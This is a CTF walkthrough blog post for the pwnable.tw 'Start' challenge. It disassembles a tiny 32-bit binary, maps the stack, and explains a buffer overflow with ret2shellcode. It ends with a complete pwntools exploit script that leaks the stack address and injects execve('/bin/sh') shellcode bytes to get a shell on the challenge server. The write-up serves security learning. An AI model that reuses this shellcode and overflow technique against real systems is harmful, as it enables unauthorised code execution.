Pwnable.tw - pwn/Start
Bài đăng này đã không được cập nhật trong 2 năm
1. Task:

2. Overview
Check file format:
 I view asm code of this program by ida 32bit because I check that file, which has 32bit architecture.
I view asm code of this program by ida 32bit because I check that file, which has 32bit architecture.
We have 2 function: _start, _exit:

I will note down important something,which need to solve this challenge. But the original code is not like you see below. Oke let's start:
public _start
_start proc near
push    esp
push    offset _exit
xor     eax, eax
xor     ebx, ebx
xor     ecx, ecx
xor     edx, edx
push    3A465443h     ; ':FTC'
push    20656874h     ; ' eht'
push    20747261h     ; ' tra'
push    74732073h     ; 'ts s'
push    2774654Ch     ; ''teL'
mov     ecx, esp        ; address
mov     dl, 14h         ; length
mov     bl, 1           ; fd
mov     al, 4
int     80h             ; LINUX - sys_write
xor     ebx, ebx
mov     dl, 3Ch ; '<'
mov     al, 3
int     80h             ; LINUX - sys_read
add     esp, 14h        ; esp = esp + 20 byte
retn
_start endp ; sp-analysis failed
Checksec this file to find the direction to exploit.

3.Analysis
I can see that the arrangement of byte in this file is little endian, through 4 push in assembly code. 
This text is: Let's start the CTF: 
The stack look like below:
| Stack | 
|---|
| 0x2774654C <--'esp' | 
| 0x74732073 | 
| 0x20747261 | 
| 0x20656874 | 
| 0x3A465443 | 
| offset_exit | 
| 0x00 | 
We have a function is sys_write(): I found it in this website
 Value of those register sequence (eax, ebx, ecx, edx,...) is:
Value of those register sequence (eax, ebx, ecx, edx,...) is: 
- eax = 0x04.
- ebx = unsigned int file descriptor ( stdin(0) , stdout(1) , stderr(2) ).
- ecx = on website I think it hard to understand what is it. I got it that it is a address.
- edx = the size of input or output.
Example:
- For sys_write:
mov     ecx, esp        ; address
mov     dl, 14h         ; length byte to write into monitor
mov     bl, 1           ; fd = 1
mov     al, 4
int     80h             ; LINUX - sys_write
- Equivalent for sys_read:
xor     ebx, ebx        ;  fd = 0
mov     dl, 3Ch ; '<'   ;  length byte to read from input
mov     al, 3           ;  
int     80h             ;  LINUX - sys_read
So after all, I think script of this program is Prompt user input 20 bytes, after it will read 60 bytes. I will exploit it by buffer overflow(because CANARY disable) and I can use ret2shellcode.
Debugging
First time:
- Input is: a
![image.png]() 
- Input is: aaaaa
![image.png]() 
You can see the character 'a' is inserted into the original string. 
I have payload 1: "A" * 20 + p32(sys_write_address)
Before payload1:
| offset | value | 
|---|---|
| 0 | "CTF:" | 
| 4 | "the " | 
| 8 | "art " | 
| 12 | "s st" | 
| 16 | "Let'" | 
| 20 | "return address" | 
| 24 | offset28 | 
After payload1:
| offset | value | 
|---|---|
| 0 | "AAAA" | 
| 4 | "AAAA" | 
| 8 | "AAAA" | 
| 12 | "AAAA" | 
| 16 | "AAAA" | 
| 20 | \x87\x80\x04\x08 | 
| 24 | offset28 | 
After ret instruction called. If you insert shellcode into stack, that thing is unreasonable because the program don't know where consist shellcode to return. This error is related to RELPO. So I insert sys_write address to return sys_write 1 more time.
I have payload2 for this situation.
payload2 = "A" * 20 + (esp + 20) + shellcode
Before payload2:
Example: 

| offset | value | 
|---|---|
| 0 | offset4 | 
| 4 | |
| 8 | |
| 12 | |
| 16 | |
| 20 | |
| 24 | 
After payload2:
The reason offset 20 consist offset 24:

| offset | value | 
|---|---|
| 0 | "AAAA" | 
| 4 | "AAAA" | 
| 8 | "AAAA" | 
| 12 | "AAAA" | 
| 16 | "AAAA" | 
| 20 | "offset_24" | 
| 24 | shellcode | 
| 28 | shellcode | 
Exploit
from pwn import *
r = remote("chall.pwnable.tw", 10000)
context.arch = 'i386'
shellcode = b"\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
#send to return sys_write
r.recvuntil(b"CTF:")
sys_write = 0x08048087
payload = b'a' * 20 + p32(sys_write)
r.send(payload)
#To send shellcode
esp_addr = u32(r.recv()[:4]) # leak esp <= esp_addr consist shellcode to execute
payload = b'a' * 20 + p32(esp_addr+20) + shellcode
r.send(payload)
r.interactive()
Conclude
This task have 2 vuln, it is buffer overflow and ret2shellcode.
I have a lot of difficult to solve this challenge of pwnable.tw. Reading assembly code is so easy because It's so short but Working of memory and stack so hard 
All rights reserved
 
 

